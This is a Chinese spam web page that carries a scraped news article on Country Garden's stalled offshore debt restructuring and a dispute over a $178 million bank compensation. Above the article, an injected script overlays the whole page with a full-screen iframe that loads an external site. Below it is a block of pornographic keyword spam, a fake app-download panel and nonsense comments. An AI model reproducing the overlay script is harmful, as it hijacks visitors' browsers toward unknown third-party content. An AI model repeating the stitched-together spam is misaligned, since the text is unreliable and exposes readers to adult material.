首页 ›吃瓜黑料›内容详情

极客网:黑料吃瓜群-黑料吃瓜网曝一区二区-碧桂园境外债务重组遇阻：关键银行仍未加入重组协议，银团补偿款支付方式遭特设小组反对

alan 吃瓜黑料 2025-05-29 3 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

碧桂园（02007.HK）境外债务重组仍在推进中。

澎湃新闻从知情人士处获悉，截至目前，包括中国银行和工商银行等在内的关键银行仍未加入重组协议；与此同时，就如何向银行协调委员会支付1.78亿美元的补偿款，碧桂园仍未能和一个债券持有人特设小组（AHG）达成一致。

银行协调委员会由7家银行组成，持有现有银团贷款48%的份额；特设小组持有碧桂园“103亿美元未偿还离岸优先票据和可转换债券（美元债）”中超过30%的份额。

碧桂园无法单独和银行协调委员会达成协议，其无法绕开特设小组。澎湃新闻获悉，尽管特设小组已经签署重组支持协议，但协议也明确写着1.78亿美元的补偿款支付计划需要其同意。

银团要求碧桂园支付1.79亿美元现金换取超5亿美元抵押资产“自由”

据悉，在碧桂园与银行委员会的谈判中，后者要求碧桂园给予1.78亿美元的抵押补偿。其中50%需要在重组生效日以现金形式支付；另外50%则是以两年期抵押贷款的形式偿还。澎湃新闻获悉，这场谈判由中国银行和工商银行主导。

据碧桂园此前的公告，银行协调委员会包含7家知名银行，均为碧桂园长期业务伙伴，协调委员会由共同持有或控制碧桂园3笔银团贷款（未偿还本金总额为36亿美元）未偿还本金额约48%的贷款人组成。

早在今年1月，碧桂园已经与协调委员会达成共识，当时碧桂园公布的重组协议关键条款是双方进一步谈判和具体文件的框架。

现阶段的谈判并未脱离此前的框架。1.78亿美元的补偿款，正是基于当时“拟通过结合在重组生效日预付现金及债务工具补偿现有银团贷款债务下的贷款人，以换取该等贷款人释放其对就2023年7月有关若干现有银团贷款债务再融资而获得的有关若干担保的权利”的条款。

据澎湃新闻记者从不同渠道获取的信息，这些抵押物的估值超5亿美元，包括碧桂园持有的万达商管股权和间接持有的11项股权投资的资产。

补偿款支付方式被认为损害债权人利益

澎湃新闻记者获悉，碧桂园无法单方面同意银行委员会的要求，这笔补偿款如何支付需要特设小组的同意。就双方的分歧，特设小组并不反对支付给银行协调委员会1.78亿美元的总款项，而是就如何支付提出了异议。

双方的差异主要涉及：一，特色小组认为重组协议生效日支付50%的补偿金比例太高，这或许导致公司没有足够的现金向选择了现金选项的债权人支付合计不超2亿美元的现金；二，银行协调委员会要求剩余50%在两年内支付并且其优先于所有重组后的债券，特设小组认为除去重组生效日支付的现金，剩余部分应该分四年平摊支付，并且其债务优先级和其他债权平等。

5月23日，碧桂园宣布，截至当日，相当于现有公众票据本金总额逾70%的持有人已经加入重组支持协议，即美元债70%金额的债权人签署协议加入重组。据悉，这70%包括特设小组的份额。

已经签署支持协议，特设小组为何仍旧能够左右碧桂园？澎湃新闻获取的信息显示，这是因为，双方签署的协议有附加条款，协议明确写着这1.78亿美元如何支付需要小组同意。

据悉，2024年11月，该小组就境外债务的潜在重组与碧桂园进行了多轮讨论，银团贷款抵押事宜一直是双方重要的分歧之一。

抵押物是银团在2023年7月获取的，知情人士介绍，银团贷款到期前一个月碧桂园为再融资提供的担保，即美元债的担保公司以1美元的价格将上述抵押物出售给一个SPV公司（碧桂园持股），SPV公司则为银团再融资提供担保。

特设小组提出，当时碧桂园在转移抵押物的时候并未进行公告，如今再支付现金释放抵押物，会耗费公司的境外现金资源，损害美元债债权人的利益。

这项资产转移是不合理的，尤其是在碧桂园面临即将违约的情况下，不应将境外这部分原本由所有债权人共享的无抵押的资产转移给个别银团债权人，这属于优待个别债权人。

本文地址：http://www.jiatingjiaoyuyanjiu.com/post/41047.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 国产亚洲精品aa在线看
黄色视频精品在线

成年大片免费高清在线观看

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载波多野结衣家庭教师在线播放安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
天天操人人爱0 菠萝蜜啦啦啦网站1 4399日本电影高清完整版免费观看2 亚洲午夜一区3 国产a级一级久久毛片4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 一个人的视频在线观看完整版www
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，黑料不打烊 源代码，电视剧狼毒花全集免费观看
二，五林洞小明和坤坤现在在干嘛，在车里被撞了八次高潮
三，唐三被霍雨浩欺负微博，小草的旗帜新时代的我们安卓版
四，九幺果冻制作厂电视剧，年轻的老师韩国剧情电影观看
五，花季传媒绿巨人视频，Free鉂屸潓鉂寁ideo4D
六，抖音黑料不打烊在线观看，魔道祖师动漫全集资源
七，漂亮妈妈韩国高清电影，人民网出文十八岁末年禁止免费观看

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
九幺果冻制作厂电视剧，麻豆传媒视频在线免费黄

操日韩

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • japanese日本护士18 4天前
    菠萝菠萝蜜在线视频www3
  • 大红大紫都市之最强狂兵完整版 7天前
    为什么说原神是国耻
  • ysl水蜜桃86满十八岁 7天前
    英语课代表和数学课代表
  • 杨柳果冻传媒在线观看 6天前
    男人躺你腿上睡觉的表现
  • 抹布高岭之花(生/触/双)_ 2天前
    云南人可以随便去缅甸吗
  • 菠萝视频免费高清观看完整版在线 4天前
    云缨的三种技能在什么情况下触发
  • 欧美 高跟鞋交 XXXXHD 5天前
    为升职请张行长吃饭
  • 痛吗我会轻一点进入 4天前
    秘书的秘密3在线观看
  • 陪读妈妈的故事无删减小说 4天前
    白衣服发黄如何处理
  • 那个流氓吻过我的唇 9天前
    黑料正能量入口在线观看
八十年代嫁屠户贺茹
小红纸的旅行绘本故事内容 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有